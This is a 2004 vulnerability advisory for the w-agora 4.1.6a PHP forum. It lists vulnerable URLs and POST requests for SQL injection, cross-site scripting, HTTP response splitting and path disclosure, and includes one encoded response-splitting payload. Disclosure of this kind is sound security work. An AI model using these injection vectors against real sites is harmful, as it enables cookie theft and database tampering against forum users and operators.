Title: Multiple vulnerabilities in w-agora forum
Date: 28.09.04
Severity: Medium
Application: w-agora 4.1.6a, http://www.w-agora/en/download.php
Platform: PHP
 
I. DESCRIPTION
 
Multiple vulnerabilities were found in w-agora forum. A remote user
can conduct SQL injection attack, HTTP response splitting and Cross
site
Scripting attack.


1. SQL injection
 
redir_url.php?bn=demos_links&key=[SQL]
 
2. XSS in GET:


download_thread.php?site=support&bn=support_install&thread=[XSS
code here]
 
3. XSS in POST:


 
POST /login.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1
 
 
  POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here]
 
 
4. HTTP response splitting
 
/subscribe_thread.php?site=support&bn=support_in
 
stall&thread=%0d%0aContent-Length:%200%0d%0a%0d%0a%20200%20OK%0d%0aConte
nt-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a%3chtml%3eScan
ned%20by%20PTsecurity%3c/html%3e%0d%0a


5. Path discourse
/list.php?bn=support_install&last=19&collapse=|id|


II. IMPACT


----------
A remote user can access the target user's cookies (including
authentication cookies).
A remote user can cause SQL commands to be executed by the underlying
database.


III. SOLUTION


-------------
Yes
Fixed in CVS : subscribe_thread.php3,v 1.17, forgot_password.php3
v1.17, include/auth.php v1.45, list.php3 v1.53,